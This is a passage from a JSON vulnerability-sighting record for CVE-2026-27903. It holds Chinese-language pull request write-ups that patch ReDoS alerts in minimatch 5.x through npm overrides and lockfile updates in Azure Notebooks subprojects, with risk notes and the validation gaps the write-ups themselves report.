\u4e3b\u7248\u672c\u3002\n- \u4f7f\u7528\u7cbe\u786e\u7248\u672c `5.1.8`\uff0c\u907f\u514d\u672a\u6765\u5b89\u88c5\u65f6\u56e0\u7248\u672c\u8303\u56f4\u6d6e\u52a8\u800c\u91cd\u65b0\u89e3\u6790\u5230\u672a\u7ecf\u9a8c\u8bc1\u7684\u7248\u672c\u3002\n- \u4fdd\u7559\u539f\u6709 `minimatch@3: ^3.1.4` \u89c4\u5219\uff0c\u56e0\u6b64 3.x \u4e0e 5.x \u4e24\u6761\u4e3b\u7248\u672c\u4f9d\u8d56\u7ebf\u7ee7\u7eed\u5206\u522b\u7ba1\u7406\u3002\n- \u6b64\u89c4\u5219\u5728\u6267\u884c\u517c\u5bb9\u8be5\u7279\u6027\u7684 npm \u5b89\u88c5\u65f6\u751f\u6548\uff0c\u5f71\u54cd `sample/react-host-app` \u5185\u6ee1\u8db3 5.x \u9009\u62e9\u6761\u4ef6\u7684\u4f20\u9012\u4f9d\u8d56\u3002\n\n## \u529f\u80fd\u6a21\u5757\u4e8c\uff1a\u9501\u6587\u4ef6\u89e3\u6790\u7ed3\u679c\n\n\u6587\u4ef6\uff1a[sample/react-host-app/package-lock.json](https://dev.azure.com/devdiv/OnlineServices/_git/AzureNotebooks/pullrequest/766466?path=/sample/react-host-app/package-lock.json&_a=files)\n\n### \u4e3a\u4ec0\u4e48\u9700\u8981\u4fee\u6539\n\n\u53ea\u4fee\u6539\u6e05\u5355\u6587\u4ef6\u4e0d\u8db3\u4ee5\u4fdd\u8bc1\u53ef\u91cd\u590d\u5b89\u88c5\uff1b\u4ed3\u5e93\u4e2d\u7684\u9501\u6587\u4ef6\u4ecd\u4f1a\u8bb0\u5f55\u539f\u6765\u7684\u5177\u4f53\u5305\u7248\u672c\u3001\u4e0b\u8f7d\u5730\u5740\u548c\u5b8c\u6574\u6027\u6458\u8981\u3002\u56e0\u6b64\uff0c\u9501\u6587\u4ef6\u5fc5\u987b\u4e0e\u65b0\u589e\u7684\u8986\u76d6\u89c4\u5219\u4fdd\u6301\u4e00\u81f4\u3002\n\n### \u5982\u4f55\u5de5\u4f5c\n\n\u9501\u6587\u4ef6\u4e2d `node_modules/filelist/node_modules/minimatch` \u8fd9\u4e00\u5d4c\u5957\u5b9e\u4f8b\u7531 5.0.1 \u66f4\u65b0\u4e3a 5.1.8\uff0c\u540c\u65f6\u66f4\u65b0\uff1a\n\n- \u5305\u7248\u672c\uff1b\n- \u5185\u90e8 npm \u6e90\u4e2d\u7684 tarball \u5730\u5740\uff1b\n- \u5bf9\u5e94\u7684\u5b8c\u6574\u6027\u6458\u8981\u3002\n\n\u8be5\u8282\u70b9\u4ecd\u6807\u8bb0\u4e3a\u5f00\u53d1\u4f9d\u8d56\uff0c\u8bb8\u53ef\u8bc1\u4ecd\u4e3a ISC\uff0c\u6570\u636e\u5305\u5c55\u793a\u7684\u4f9d\u8d56\u5b57\u6bb5\u4e5f\u672a\u53d1\u751f\u53d8\u5316\u3002\u9501\u6587\u4ef6\u6539\u52a8\u96c6\u4e2d\u4e8e\u8fd9\u4e00\u5904\u5d4c\u5957\u5b9e\u4f8b\uff0c\u8bf4\u660e\u4fee\u590d\u6ca1\u6709\u5728\u53ef\u89c1\u5dee\u5f02\u4e2d\u5f15\u53d1\u5927\u8303\u56f4\u4f9d\u8d56\u6811\u91cd\u7b97\u3002\n\n## \u529f\u80fd\u6a21\u5757\u4e09\uff1a\u5b89\u5168\u4fee\u590d\u4e0e\u4f9d\u8d56\u8fb9\u754c\n\n\u672c\u6b21\u7248\u672c\u56fa\u5b9a\u7528\u4e8e\u5904\u7406 PR \u63cf\u8ff0\u4e2d\u5217\u51fa\u7684\u4e24\u4e2a\u9ad8\u5371\u544a\u8b66\uff1a\n\n- CVE-2026-27903\uff1b\n- CVE-2026-27904\u3002\n\nPR \u6570\u636e\u5305\u5c06\u4e24\u8005\u63cf\u8ff0\u4e3a `minimatch` 5.x \u4e2d\u7684\u6b63\u5219\u8868\u8fbe\u5f0f\u62d2\u7edd\u670d\u52a1\uff08ReDoS\uff09\u95ee\u9898\uff0c\u5e76\u58f0\u660e 5.1.8 \u4e3a\u4fee\u590d\u7248\u672c\u3002\u5355\u4e2a 5.x \u8986\u76d6\u89c4\u5219\u53ef\u540c\u65f6\u66f4\u65b0\u53d7\u5f71\u54cd\u7684\u5d4c\u5957\u5b9e\u4f8b\u3002\n\n\u7248\u672c\u8fb9\u754c\u65b9\u9762\uff0c\u672c\u6b21\u53d8\u66f4\u6ca1\u6709\u4fee\u6539\u9879\u76ee\u4e2d\u72ec\u7acb\u5b58\u5728\u7684 `minimatch` 3.x \u89e3\u6790\u7ebf\u3002\u8fd9\u6837\u53ef\u4ee5\u907f\u514d\u4e3a\u4e86\u5904\u7406 5.x \u6f0f\u6d1e\u800c\u8de8\u4e3b\u7248\u672c\u6539\u53d8\u4f9d\u8d56 3.x API/\u884c\u4e3a\u7684\u7ec4\u4ef6\uff0c\u964d\u4f4e\u517c\u5bb9\u6027\u5f71\u54cd\u3002\n\n## \u6d4b\u8bd5\u4e0e\u9a8c\u8bc1\n\n\u6570\u636e\u5305\u4e2d\u8bb0\u5f55\u7684\u9a8c\u8bc1\u7ed3\u679c\u5982\u4e0b\uff1a\n\n| \u9a8c\u8bc1\u9879 | \u7ed3\u679c | \u8bf4\u660e |\n|---|---|---|\n| \u6f0f\u6d1e\u7248\u672c\u786e\u8ba4 | \u901a\u8fc7 | \u4fee\u590d\u524d\u9501\u6587\u4ef6\u5305\u542b\u5d4c\u5957\u7684 `minimatch` 5.0.1\u3002 |\n| \u76ee\u6807\u7248\u672c\u786e\u8ba4 | \u901a\u8fc7 | \u6e05\u5355\u8986\u76d6\u89c4\u5219\u548c\u9501\u6587\u4ef6\u5747\u6307\u5411 5.1.8\u3002 |\n| \u53d8\u66f4\u8303\u56f4\u68c0\u67e5 | \u901a\u8fc7 | \u53ef\u89c1\u5dee\u5f02\u53ea\u4fee\u6539 5.x \u8986\u76d6\u89c4\u5219\u53ca\u5bf9\u5e94\u5d4c\u5957\u9501\u6587\u4ef6\u8282\u70b9\uff0c\u539f\u6709 3.x \u8986\u76d6\u672a\u6539\u52a8\u3002 |\n| \u6784\u5efa\u4e0e\u81ea\u52a8\u5316\u6d4b\u8bd5 | \u672a\u6267\u884c/\u73af\u5883\u53d7\u963b | PR \u63cf\u8ff0\u79f0 npm \u5b89\u88c5\u9700\u8981\u79c1\u6709\u6e90\u8ba4\u8bc1\uff0c\u4e14\u9a8c\u8bc1\u73af\u5883\u4e0d\u5141\u8bb8\u6539\u52a8\u53ea\u8bfb\u5de5\u4f5c\u6811\uff0c\u56e0\u6b64\u6ca1\u6709\u5b9e\u9645\u8fd0\u884c\u6784\u5efa\u3002 |\n| Component Detection CLI | \u672a\u6267\u884c | \u6570\u636e\u5305\u8bf4\u660e\u8be5\u9a8c\u8bc1\u4e0a\u4e0b\u6587\u672a\u8c03\u7528\u7ec4\u4ef6\u68c0\u6d4b\u5de5\u5177\u3002 |\n\n\u56e0\u6b64\uff0c\u5f53\u524d\u8bc1\u636e\u53ef\u4ee5\u786e\u8ba4\u4f9d\u8d56\u58f0\u660e\u548c\u9501\u6587\u4ef6\u5728\u8bed\u4e49\u4e0a\u4fdd\u6301\u4e00\u81f4\uff0c\u4f46\u4e0d\u80fd\u636e\u6b64\u5ba3\u79f0\u5e94\u7528\u6784\u5efa\u3001\u6d4b\u8bd5\u5957\u4ef6\u6216\u5b8c\u6574 CI \u5df2\u901a\u8fc7\u3002\u5408\u5e76\u524d\u4ecd\u5e94\u4f9d\u8d56\u5177\u5907\u79c1\u6709 npm \u6e90\u8bbf\u95ee\u6743\u9650\u7684 CI \u6267\u884c\u81f3\u5c11\u4e00\u6b21\u5e72\u51c0\u5b89\u88c5\u548c React \u793a\u4f8b\u5bbf\u4e3b\u5e94\u7528\u7684\u6784\u5efa/\u6d4b\u8bd5\u3002\n\n## \u5f71\u54cd\u5206\u6790\n\n### \u5b89\u5168\u5f71\u54cd\n\n\u4e3b\u8981\u6536\u76ca\u662f\u79fb\u9664\u9501\u6587\u4ef6\u4e2d\u5df2\u77e5\u6613\u53d7 ReDoS \u5f71\u54cd\u7684 `minimatch` 5.0.1 \u5b9e\u4f8b\uff0c\u964d\u4f4e\u6784\u5efa\u5de5\u5177\u5904\u7406\u6076\u610f\u6216\u6781\u7aef glob \u6a21\u5f0f\u65f6\u51fa\u73b0\u9ad8 CPU \u6d88\u8017\u548c\u62d2\u7edd\u670d\u52a1\u7684\u98ce\u9669\u3002\n\n### \u529f\u80fd\u5f71\u54cd\n\n\u6539\u52a8\u4f4d\u4e8e `sample/react-host-app` \u7684\u4f9d\u8d56\u914d\u7f6e\uff0c\u4e0d\u6539\u53d8\u4e1a\u52a1\u6e90\u4ee3\u7801\u3002\u9884\u671f\u5f71\u54cd\u96c6\u4e2d\u5728\u5f00\u53d1\u3001\u5b89\u88c5\u548c\u6784\u5efa\u9636\u6bb5\uff0c\u800c\u975e\u5df2\u90e8\u7f72\u5e94\u7528\u7684\u8fd0\u884c\u65f6\u903b\u8f91\u3002\n\n### \u6784\u5efa\u4e0e\u4f9b\u5e94\u94fe\u5f71\u54cd\n\n\u540e\u7eed\u6267\u884c npm \u5b89\u88c5\u65f6\uff0c5.x \u4f20\u9012\u4f9d\u8d56\u5c06\u88ab\u5f3a\u5236\u89e3\u6790\u4e3a 5.1.8\u3002\u9501\u6587\u4ef6\u4f7f\u7528 Azure DevOps \u5185\u90e8\u5305\u6e90\u5730\u5740\uff0c\u56e0\u6b64\u6784\u5efa\u73af\u5883\u4ecd\u9700\u5177\u5907\u76f8\u5e94\u79c1\u6709\u6e90\u8ba4\u8bc1\u548c\u8bbf\u95ee\u6743\u9650\u3002\n\n### \u7ef4\u62a4\u5f71\u54cd\n\n\u7cbe\u786e\u56fa\u5b9a\u7248\u672c\u6709\u5229\u4e8e\u53ef\u91cd\u590d\u6784\u5efa\u548c\u5b89\u5168\u5ba1\u8ba1\uff0c\u4f46\u4e5f\u610f\u5473\u7740\u540e\u7eed 5.x \u8865\u4e01\u4e0d\u4f1a\u81ea\u52a8\u91c7\u7528\uff1b\u82e5\u51fa\u73b0\u65b0\u7684\u5b89\u5168\u4fee\u590d\uff0c\u9700\u8981\u518d\u6b21\u66f4\u65b0\u8986\u76d6\u89c4\u5219\u548c\u9501\u6587\u4ef6\u3002\n\n## \u98ce\u9669\u4e0e\u517c\u5bb9\u6027\u5173\u6ce8\n\n1. **\u4f20\u9012\u4f9d\u8d56\u517c\u5bb9\u6027\uff1a** \u867d\u7136 5.0.1 \u2192 5.1.8 \u5c5e\u4e8e\u540c\u4e00\u4e3b\u7248\u672c\u5185\u5347\u7ea7\uff0c\u901a\u5e38\u517c\u5bb9\u98ce\u9669\u8f83\u4f4e\uff0c\u4f46 `filelist` \u5bf9\u5177\u4f53 `minimatch` \u884c\u4e3a\u7684\u4f9d\u8d56\u5c1a\u672a\u901a\u8fc7\u5b9e\u9645\u6784\u5efa\u6216\u6d4b\u8bd5\u9a8c\u8bc1\u3002\n2. **npm \u7248\u672c\u8981\u6c42\uff1a** `overrides` \u4f9d\u8d56\u8f83\u65b0\u7684 npm \u5ba2\u6237\u7aef\u652f\u6301\u3002\u82e5\u67d0\u4e9b\u672c\u5730\u6216 CI \u73af\u5883\u4f7f\u7528\u4e0d\u652f\u6301\u8be5\u5b57\u6bb5\u7684\u65e7 npm\uff0c\u8986\u76d6\u53ef\u80fd\u4e0d\u751f\u6548\u6216\u5b89\u88c5\u884c\u4e3a\u53ef\u80fd\u4e0d\u540c\u3002\n3. **\u79c1\u6709\u6e90\u4e0e\u5b8c\u6574\u6027\uff1a** \u9501\u6587\u4ef6\u4e2d\u7684 5.1.8 \u5305\u6765\u81ea\u5185\u90e8 Azure DevOps npm \u6e90\uff1b\u65e0\u6743\u9650\u3001\u6e90\u540c\u6b65\u5f02\u5e38\u6216\u7f13\u5b58\u4e0d\u4e00\u81f4\u90fd\u53ef\u80fd\u5bfc\u81f4\u5b89\u88c5\u5931\u8d25\u3002\n4. **\u7cbe\u786e\u56fa\u5b9a\u7684\u7ef4\u62a4\u6210\u672c\uff1a** \u56fa\u5b9a\u5230 5.1.8 \u53ef\u9632\u6b62\u610f\u5916\u6f02\u79fb\uff0c\u4f46\u4e0d\u4f1a\u81ea\u52a8\u5438\u6536\u672a\u6765\u7684\u5b89\u5168\u8865\u4e01\u3002\n5. **\u9a8c\u8bc1\u7f3a\u53e3\uff1a** \u6570\u636e\u5305\u6ca1\u6709\u63d0\u4f9b\u6210\u529f\u7684 `npm install`\u3001\u6784\u5efa\u3001\u5355\u5143\u6d4b\u8bd5\u6216\u7aef\u5230\u7aef\u6d4b\u8bd5\u7ed3\u679c\uff0c\u8fd9\u662f\u5408\u5e76\u5224\u65ad\u4e2d\u6700\u4e3b\u8981\u7684\u5269\u4f59\u98ce\u9669\u3002\n6. **\u6587\u4ef6\u683c\u5f0f\uff1a** `package.json` \u5728\u5dee\u5f02\u4e2d\u4ecd\u663e\u793a\u6587\u4ef6\u672b\u5c3e\u6ca1\u6709\u6362\u884c\uff1b\u8fd9\u4e0d\u662f\u672c\u6b21\u5b89\u5168\u4fee\u590d\u7684\u529f\u80fd\u98ce\u9669\uff0c\u4f46\u53ef\u80fd\u7ee7\u7eed\u89e6\u53d1\u90e8\u5206\u683c\u5f0f\u68c0\u67e5\u5de5\u5177\u7684\u63d0\u793a\u3002\n\n## \u5dee\u5f02\u8986\u76d6\u8303\u56f4\n\n\u5206\u6790\u5305\u58f0\u660e\uff1a\n\n- `diffTruncated: false`\uff1b\n- \u4e24\u4e2a\u6587\u4ef6\u5404\u81ea\u7684 `truncated` \u5747\u4e3a `false`\uff1b\n- \u53d8\u66f4\u6587\u4ef6\u6e05\u5355\u4e2d\u7684 2 \u4e2a\u6587\u4ef6\u90fd\u63d0\u4f9b\u4e86\u5dee\u5f02\uff1b\n- \u6ca1\u6709\u5bfc\u51fa\u9519\u8bef\u6216\u8b66\u544a\u3002\n\n\u56e0\u6b64\uff0c\u672c\u8bf4\u660e\u8986\u76d6\u4e86\u6570\u636e\u5305\u4e2d\u63d0\u4f9b\u7684\u5168\u90e8\u6587\u4ef6\u5dee\u5f02\uff0c\u6ca1\u6709\u5df2\u77e5\u7684\u622a\u65ad\u6587\u4ef6\u6216\u7f3a\u5931\u5dee\u5f02\u3002\u5206\u6790\u8303\u56f4\u4ec5\u9650\u4e8e\u6570\u636e\u5305\u5185\u7684 PR \u5143\u6570\u636e\u3001\u63cf\u8ff0\u548c\u8fd9\u4e24\u4e2a\u6587\u4ef6\u7684\u53ef\u89c1\u5dee\u5f02\uff1b\u672a\u989d\u5916\u68c0\u67e5\u4ed3\u5e93\u5176\u4ed6\u6587\u4ef6\u3001\u79c1\u6709\u5305\u5185\u5bb9\u3001\u5b9e\u9645 CI \u65e5\u5fd7\u6216\u672a\u5305\u542b\u5728\u6570\u636e\u5305\u4e2d\u7684\u8fd0\u884c\u7ed3\u679c\u3002\n", "creation_timestamp": "2026-08-31T00:17:05.810465Z"}, {"uuid": "1923c54c-e0a7-4a2e-91cb-37cf3ca000b0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27903", "type": "seen", "source": "https://gist.github.com/djlan/d61f90555b5cc4da11baf7b4d8175b48", "content": "# [SECURITY][SFI] \u4fee\u590d minimatch \u6f0f\u6d1e\uff08CVE-2026-27903 / CVE-2026-27904\uff09\n\n> **\u4e00\u53e5\u8bdd\u603b\u7ed3\uff1a** \u6b64 PR \u5728\u4e24\u4e2a Node.js \u5b50\u9879\u76ee\u4e2d\u7ea6\u675f `minimatch` 5.x \u7684\u4f20\u9012\u4f9d\u8d56\u7248\u672c\uff0c\u5e76\u5c06\u9501\u5b9a\u7ed3\u679c\u66f4\u65b0\u5230 5.1.9\uff0c\u4ee5\u6d88\u9664 Component Governance \u62a5\u544a\u7684 ReDoS \u98ce\u9669\uff0c\u540c\u65f6\u4fdd\u7559\u73b0\u6709 `minimatch` 3.x \u4fee\u590d\u89c4\u5219\u3002\n\n| \u9879\u76ee | \u5185\u5bb9 |\n|---|---|\n| PR | [766464](https://dev.azure.com/devdiv/OnlineServices/_git/AzureNotebooks/pullrequest/766464) |\n| \u4f5c\u8005 | Agency |\n| \u72b6\u6001 | Active\uff1b\u975e\u8349\u7a3f\uff1b\u5408\u5e76\u72b6\u6001\u4e3a `succeeded` |\n| \u5206\u652f | `copilot/api-690bd71d-8fe3bc50` \u2192 `main` |\n| \u521b\u5efa\u65f6\u95f4 | 2026-08-05 09:51:20 |\n| \u63d0\u4ea4 | 1 \u4e2a |\n| \u8fed\u4ee3 | 2 \u4e2a |\n| \u53d8\u66f4\u7edf\u8ba1 | 4 \u4e2a\u6587\u4ef6\uff0c\u65b0\u589e 39 \u884c\u3001\u5220\u9664 27 \u884c |\n\n## \u76ee\u5f55\n\n- [\u53d8\u66f4\u6982\u89c8](#\u53d8\u66f4\u6982\u89c8)\n- [\u529f\u80fd\u6a21\u5757\u4e00\uff1aHello World \u8f93\u51fa\u6e32\u67d3\u5668\u793a\u4f8b](#\u529f\u80fd\u6a21\u5757\u4e00hello-world-\u8f93\u51fa\u6e32\u67d3\u5668\u793a\u4f8b)\n- [\u529f\u80fd\u6a21\u5757\u4e8c\uff1aTinylicious v2 \u534f\u4f5c\u670d\u52a1](#\u529f\u80fd\u6a21\u5757\u4e8ctinylicious-v2-\u534f\u4f5c\u670d\u52a1)\n- [\u5b9e\u73b0\u673a\u5236](#\u5b9e\u73b0\u673a\u5236)\n- [\u6d4b\u8bd5\u4e0e\u9a8c\u8bc1](#\u6d4b\u8bd5\u4e0e\u9a8c\u8bc1)\n- [\u98ce\u9669\u4e0e\u517c\u5bb9\u6027](#\u98ce\u9669\u4e0e\u517c\u5bb9\u6027)\n- [\u5f71\u54cd\u5206\u6790](#\u5f71\u54cd\u5206\u6790)\n- [\u5dee\u5f02\u8986\u76d6\u8303\u56f4](#\u5dee\u5f02\u8986\u76d6\u8303\u56f4)\n\n## \u53d8\u66f4\u6982\u89c8\n\n\u8be5 PR \u9488\u5bf9 `minimatch` \u7684\u6b63\u5219\u8868\u8fbe\u5f0f\u62d2\u7edd\u670d\u52a1\uff08ReDoS\uff09\u6f0f\u6d1e\u8fdb\u884c\u4f9d\u8d56\u6cbb\u7406\u3002PR \u63cf\u8ff0\u5217\u51fa\u4e86 4 \u4e2a Component Governance \u544a\u8b66\uff0c\u5206\u522b\u6d89\u53ca CVE-2026-27903 \u548c CVE-2026-27904\uff1b\u63d0\u4ea4\u8bf4\u660e\u8868\u660e\u5904\u7406\u65b9\u5f0f\u662f\u5c06\u4f20\u9012\u4f9d\u8d56\u4e2d\u7684 `minimatch@5` \u7ea6\u675f\u4e3a `^5.1.8`\u3002\n\n\u53d8\u66f4\u6ca1\u6709\u4fee\u6539\u4e1a\u52a1\u4ee3\u7801\uff0c\u800c\u662f\u5728\u4e24\u4e2a\u72ec\u7acb\u7684 Node.js \u5b50\u9879\u76ee\u4e2d\uff1a\n\n1. \u5728 `package.json` \u4e2d\u589e\u52a0 `minimatch@5` \u7684\u4f9d\u8d56\u8986\u76d6\u89c4\u5219\uff0c\u963b\u6b62\u4f9d\u8d56\u6811\u7ee7\u7eed\u89e3\u6790\u5230\u5b58\u5728\u544a\u8b66\u7684\u65e7 5.x \u7248\u672c\u3002\n2. \u91cd\u65b0\u751f\u6210\u6216\u66f4\u65b0 `package-lock.json`\uff0c\u4f7f\u5f53\u524d\u53ef\u590d\u73b0\u5b89\u88c5\u7ed3\u679c\u5b9e\u9645\u843d\u5230 `minimatch` 5.1.9\u3002\n3. \u4fdd\u7559\u65e2\u6709\u7684 `minimatch@3: ^3.1.4` \u89c4\u5219\uff0c\u56e0\u6b64 3.x \u4e0e 5.x \u4e24\u6761\u4f9d\u8d56\u7ebf\u5206\u522b\u53d7\u63a7\uff0c\u4e0d\u4f1a\u7528\u4e00\u4e2a\u4e3b\u7248\u672c\u5f3a\u884c\u66ff\u4ee3\u53e6\u4e00\u4e2a\u4e3b\u7248\u672c\u3002\n\n## \u529f\u80fd\u6a21\u5757\u4e00\uff1aHello World \u8f93\u51fa\u6e32\u67d3\u5668\u793a\u4f8b\n\n\u6d89\u53ca\u6587\u4ef6\uff1a\n\n- [`sample/aznb-helloworld-output-renderer/package.json`](https://dev.azure.com/devdiv/OnlineServices/_git/AzureNotebooks/pullrequest/766464?path=/sample/aznb-helloworld-output-renderer/package.json&_a=files)\n- [`sample/aznb-helloworld-output-renderer/package-lock.json`](https://dev.azure.com/devdiv/OnlineServices/_git/AzureNotebooks/pullrequest/766464?path=/sample/aznb-helloworld-output-renderer/package-lock.json&_a=files)\n\n### \u4e3a\u4ec0\u4e48\u8981\u6539\n\n\u8be5\u793a\u4f8b\u7684\u5f00\u53d1\u5de5\u5177\u94fe\u901a\u8fc7 `glob` \u548c `mocha` \u95f4\u63a5\u5f15\u5165\u4e86 `minimatch` 5.x\u3002\u539f\u9501\u6587\u4ef6\u4e2d\u53ef\u89c1\u4e24\u6761\u65e7\u7248\u672c\u8def\u5f84\uff1a\n\n- `glob` \u5d4c\u5957\u4f9d\u8d56\u4f7f\u7528 5.1.0\u3002\n- `mocha` \u5d4c\u5957\u4f9d\u8d56\u4f7f\u7528 5.1.6\u3002\n\n\u4ec5\u66f4\u65b0\u9876\u5c42\u76f4\u63a5\u4f9d\u8d56\u65e0\u6cd5\u53ef\u9760\u4fee\u590d\u8fd9\u7c7b\u4f20\u9012\u4f9d\u8d56\uff0c\u56e0\u6b64\u9700\u8981\u5728\u5305\u7ba1\u7406\u914d\u7f6e\u5c42\u663e\u5f0f\u8986\u76d6\u3002\n\n### \u5982\u4f55\u5de5\u4f5c\n\n`package.json` \u540c\u65f6\u5728 `resolutions` \u548c `overrides` \u4e2d\u52a0\u5165 `minimatch@5: ^5.1.8`\uff1a\n\n- `resolutions` \u4e3a\u652f\u6301\u8be5\u673a\u5236\u7684\u5b89\u88c5\u6d41\u7a0b\u63d0\u4f9b\u7edf\u4e00\u89e3\u6790\u7ea6\u675f\u3002\n- `overrides` \u4e3a npm \u7684\u4f20\u9012\u4f9d\u8d56\u8986\u76d6\u673a\u5236\u63d0\u4f9b\u540c\u7b49\u7ea6\u675f\u3002\n- \u540c\u65f6\u914d\u7f6e\u4e24\u5904\u4e0e\u8be5\u6587\u4ef6\u5df2\u6709\u7684 `minimatch@3` \u5904\u7406\u65b9\u5f0f\u4e00\u81f4\uff0c\u53ef\u8986\u76d6\u8be5\u5b50\u9879\u76ee\u53ef\u80fd\u91c7\u7528\u7684\u4e0d\u540c\u5305\u7ba1\u7406\u5b89\u88c5\u8def\u5f84\u3002\n\n\u9501\u6587\u4ef6\u968f\u540e\u628a `glob` \u548c `mocha` \u4e0b\u7684 `minimatch` \u90fd\u89e3\u6790\u4e3a 5.1.9\uff0c\u5e76\u540c\u6b65\u66f4\u65b0\u5305\u5730\u5740\u3001\u5b8c\u6574\u6027\u54c8\u5e0c\u548c\u8bb8\u53ef\u8bc1\u5143\u6570\u636e\u3002\u9501\u6587\u4ef6\u4e2d `glob`\u3001`mocha` \u5bf9 `minimatch` \u7684\u58f0\u660e\u4e5f\u4ece\u65e7\u7ea6\u675f\u63d0\u5347\u5230 `^5.1.8`\uff0c\u4ece\u800c\u8ba9\u58f0\u660e\u7ea6\u675f\u548c\u6700\u7ec8\u9501\u5b9a\u7248\u672c\u4fdd\u6301\u4e00\u81f4\u3002\n\n\u6b64\u5916\uff0c\u9501\u6587\u4ef6\u4e3a\u82e5\u5e72\u5df2\u6709\u5305\u8865\u5145\u4e86\u7a7a\u7684 `requires` \u5bf9\u8c61\u3002\u8fd9\u4e9b\u6761\u76ee\u4e0d\u589e\u52a0\u65b0\u4f9d\u8d56\uff0c\u8868\u73b0\u4e3a\u5305\u7ba1\u7406\u5668\u91cd\u5199\u9501\u6587\u4ef6\u65f6\u4ea7\u751f\u7684\u7ed3\u6784\u5316\u5143\u6570\u636e\u53d8\u5316\uff1b\u5206\u6790\u5305\u6ca1\u6709\u63d0\u4f9b\u8bc1\u636e\u8868\u660e\u5b83\u4eec\u4f1a\u6539\u53d8\u8fd0\u884c\u884c\u4e3a\u3002\n\n## \u529f\u80fd\u6a21\u5757\u4e8c\uff1aTinylicious v2 \u534f\u4f5c\u670d\u52a1\n\n\u6d89\u53ca\u6587\u4ef6\uff1a\n\n- [`src/service/aznb/AzNB.Collab/tinylicious-v2/package.json`](https://dev.azure.com/devdiv/OnlineServices/_git/AzureNotebooks/pullrequest/766464?path=/src/service/aznb/AzNB.Collab/tinylicious-v2/package.json&_a=files)\n- [`src/service/aznb/AzNB.Collab/tinylicious-v2/package-lock.json`](https://dev.azure.com/devdiv/OnlineServices/_git/AzureNotebooks/pullrequest/766464?path=/src/service/aznb/AzNB.Collab/tinylicious-v2/package-lock.json&_a=files)\n\n### \u4e3a\u4ec0\u4e48\u8981\u6539\n\n\u8be5\u670d\u52a1\u7684 `mocha` \u4f9d\u8d56\u6811\u9501\u5b9a\u4e86 `minimatch` 5.1.6\uff0c\u56e0\u6b64\u540c\u6837\u5904\u4e8e\u672c\u6b21\u5b89\u5168\u544a\u8b66\u7684\u6cbb\u7406\u8303\u56f4\u3002\u7531\u4e8e\u5b83\u662f\u53e6\u4e00\u4e2a\u72ec\u7acb\u7684 Node.js \u5b89\u88c5\u6839\u76ee\u5f55\uff0c\u793a\u4f8b\u9879\u76ee\u4e2d\u7684\u8986\u76d6\u89c4\u5219\u4e0d\u4f1a\u81ea\u52a8\u4f5c\u7528\u4e8e\u6b64\u5904\uff0c\u5fc5\u987b\u5355\u72ec\u4fee\u6539\u3002\n\n### \u5982\u4f55\u5de5\u4f5c\n\n\u8be5\u6a21\u5757\u5728\u73b0\u6709\u8986\u76d6\u914d\u7f6e\u4e2d\u65b0\u589e `minimatch@5: ^5.1.8`\uff0c\u5e76\u4fdd\u7559 `minimatch@3: ^3.1.4`\u3002\u5bf9\u5e94\u9501\u6587\u4ef6\u5c06 `mocha` \u4e0b\u7684 `minimatch` \u4ece 5.1.6 \u66f4\u65b0\u4e3a 5.1.9\uff0c\u540c\u65f6\u66f4\u65b0\u4e0b\u8f7d\u5730\u5740\u548c\u5b8c\u6574\u6027\u54c8\u5e0c\u3002\n\n\u8fd9\u4f7f\u5168\u65b0\u5b89\u88c5\u548c\u57fa\u4e8e\u9501\u6587\u4ef6\u7684\u53ef\u590d\u73b0\u5b89\u88c5\u90fd\u4e0d\u518d\u4f7f\u7528\u5305\u5185\u53ef\u89c1\u7684\u65e7 5.x \u7248\u672c\uff0c\u540c\u65f6\u907f\u514d\u6539\u53d8\u4ecd\u8981\u6c42 3.x API \u7684\u4f9d\u8d56\u94fe\u3002\n\n## \u5b9e\u73b0\u673a\u5236\n\n\u672c\u6b21\u4fee\u590d\u91c7\u7528\u201c\u4e3b\u7248\u672c\u5b9a\u5411\u8986\u76d6 + \u9501\u6587\u4ef6\u56fa\u5316\u201d\u7684\u65b9\u5f0f\uff1a\n\n1. `minimatch@5` \u9009\u62e9\u5668\u53ea\u5f71\u54cd 5.x \u4f9d\u8d56\uff0c\u4e0d\u8de8\u4e3b\u7248\u672c\u6539\u5199 3.x \u4f9d\u8d56\u3002\n2. `^5.1.8` \u5141\u8bb8\u89e3\u6790 5.1.8 \u53ca\u517c\u5bb9\u7684\u540e\u7eed 5.x \u7248\u672c\u3002\n3. \u5f53\u524d\u9501\u6587\u4ef6\u5c06\u5b9e\u9645\u5b89\u88c5\u7248\u672c\u56fa\u5b9a\u4e3a 5.1.9\uff0c\u56e0\u6b64 CI \u548c\u5f00\u53d1\u73af\u5883\u5728\u9075\u5faa\u9501\u6587\u4ef6\u5b89\u88c5\u65f6\u5e94\u83b7\u5f97\u4e00\u81f4\u7248\u672c\u3002\n4. \u5185\u90e8 Azure Artifacts \u4e0b\u8f7d\u5730\u5740\u4e0e\u5b8c\u6574\u6027\u54c8\u5e0c\u968f\u7248\u672c\u540c\u6b65\u66f4\u65b0\uff0c\u4f7f\u5305\u7ba1\u7406\u5668\u80fd\u591f\u6821\u9a8c\u65b0\u5236\u54c1\u3002\n\n\u8fd9\u79cd\u65b9\u5f0f\u4e0d\u9700\u8981\u4fee\u6539 `glob`\u3001`mocha` \u6216\u5e94\u7528\u6e90\u7801\uff0c\u4fee\u590d\u9762\u96c6\u4e2d\u5728\u4f9d\u8d56\u89e3\u6790\u5c42\u3002\n\n## \u6d4b\u8bd5\u4e0e\u9a8c\u8bc1\n\n\u5206\u6790\u5305\u4e2d**\u6ca1\u6709\u63d0\u4f9b\u6d4b\u8bd5\u547d\u4ee4\u3001\u6d4b\u8bd5\u7ed3\u679c\u3001\u6784\u5efa\u65e5\u5fd7\u6216\u6d41\u6c34\u7ebf\u9a8c\u8bc1\u7ed3\u679c**\uff0c\u56e0\u6b64\u4e0d\u80fd\u786e\u8ba4\u4e24\u4e2a\u5b50\u9879\u76ee\u662f\u5426\u5df2\u7ecf\u5b8c\u6210\u5b89\u88c5\u3001\u6784\u5efa\u3001\u5355\u5143\u6d4b\u8bd5\u6216\u8fd0\u884c\u65f6\u56de\u5f52\u9a8c\u8bc1\u3002\n\n\u4ece\u53d8\u66f4\u5185\u5bb9\u53ef\u4ee5\u786e\u8ba4\u7684\u9759\u6001\u4e00\u81f4\u6027\u5305\u62ec\uff1a\n\n- \u4e24\u4e2a `package.json` \u90fd\u52a0\u5165\u4e86 5.x \u8986\u76d6\u89c4\u5219\u3002\n- \u4e24\u4e2a `package-lock.json` 